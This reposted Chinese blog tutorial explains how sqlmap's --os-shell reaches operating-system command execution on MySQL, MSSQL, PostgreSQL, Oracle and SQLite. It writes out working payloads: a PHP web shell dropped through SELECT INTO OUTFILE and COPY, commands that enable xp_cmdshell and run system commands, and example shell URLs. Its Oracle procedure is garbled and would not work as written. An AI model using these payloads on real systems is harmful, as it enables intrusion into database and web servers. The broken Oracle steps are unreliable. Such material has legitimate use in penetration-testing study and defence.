sqlmap --os-shell的原理(MySQL,MSSQL,PostgreSQL,Oracle,SQLite)
1. MySQL
条件
- 数据库用户需要具备高权限(如
FILE
权限)。 - 数据库服务运行用户需要对目标目录有写权限。
- Web 服务器有可写目录,且支持执行上传的脚本(如 PHP、JSP 等)。
原理
- 利用 MySQL 的
SELECT ... INTO OUTFILE
功能,将恶意代码写入目标 Web 目录,生成一个 Web Shell 文件。 - 攻击者通过浏览器访问 Web Shell,获得命令执行能力。
流程
- 确认
FILE
权限:SELECT * FROM mysql.user WHERE User='target_user';
- 写入 Web Shell 到目标目录:
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
- 通过浏览器访问 Web Shell 执行命令:
http://xxxxxx.com/shell.php?cmd=whoami
2. Microsoft SQL Server (MSSQL)
条件
- 数据库用户需要
sysadmin
权限。 - 目标服务器启用了扩展存储过程
xp_cmdshell
。 - 数据库运行用户有命令执行权限。
原理
- 调用 MSSQL 的
xp_cmdshell
存储过程,直接在操作系统中执行命令。
流程
- 确认是否启用了
xp_cmdshell
:EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
- 利用
xp_cmdshell
执行命令:EXEC xp_cmdshell 'whoami';
- 通过命令的输出或回显获取执行结果。
3. PostgreSQL
条件
- 数据库用户需要对文件系统具有写权限。
- 数据库支持使用
COPY
命令将数据写入文件。 - 目标 Web 目录可写入文件,并允许脚本执行。
原理
- 利用 PostgreSQL 的
COPY
功能,将 Web Shell 写入目标文件系统。
流程
- 写入 Web Shell:
COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php';
- 访问 Web Shell:
http://xxxxx.com/shell.php?cmd=id
4. Oracle
条件
- 数据库用户需要
CREATE LIBRARY
权限。 - 数据库运行用户需要访问操作系统。
- 利用外部过程或 Java 存储过程。
原理
- 通过 Oracle 数据库的外部过程,调用操作系统命令。
- 使用 Java 存储过程执行系统级操作。
流程
- 创建外部库(如 DLL 文件):
CREATE OR REPLACE LIBRARY mylib AS '/path/to/external/file';
- 调用外部过程执行命令:
DECLARE cmd VARCHAR2(1000); BEGIN cmd := 'ls'; DBMS_SCHEDULER.CREATE_JOB(cmd); END;
- 读取命令执行结果。
5. SQLite
条件
- SQLite 本身无法直接与操作系统交互。
- 必须结合其他漏洞(如本地文件包含)实现 Web Shell。
原理
- 利用 SQLite 的
ATTACH
或其他功能,尝试将恶意数据写入特定目录。
流程
- 写入数据:
ATTACH DATABASE '/var/www/html/shell.php' AS shell;
- 在 Web 服务器中访问生成的 Web Shell 文件。
总结表
数据库 | 条件 | 原理 | 流程简述 |
---|---|---|---|
MySQL | FILE 权限,Web 目录可写 | 写入 Web Shell 通过 SELECT ... INTO OUTFILE | 写 Shell -> 访问 Shell -> 执行命令 |
MSSQL | sysadmin 权限,启用 xp_cmdshell | 使用 xp_cmdshell 直接执行系统命令 | 开启 xp_cmdshell -> 执行命令 |
PostgreSQL | 写权限,Web 目录可访问 | 使用 COPY 写入 Web Shell | 写 Shell -> 访问 Shell -> 执行命令 |
Oracle | CREATE LIBRARY 权限,系统访问权限 | 使用外部库或 Java 存储过程调用系统命令 | 配置库 -> 调用命令 |
SQLite | 结合其他漏洞(如文件包含) | 写入恶意数据文件,结合其他漏洞(如 LFI)访问 | 写 Shell -> 结合 LFI 执行 |
原文地址:https://blog.csdn.net/weixin_67840381/article/details/144269846
免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!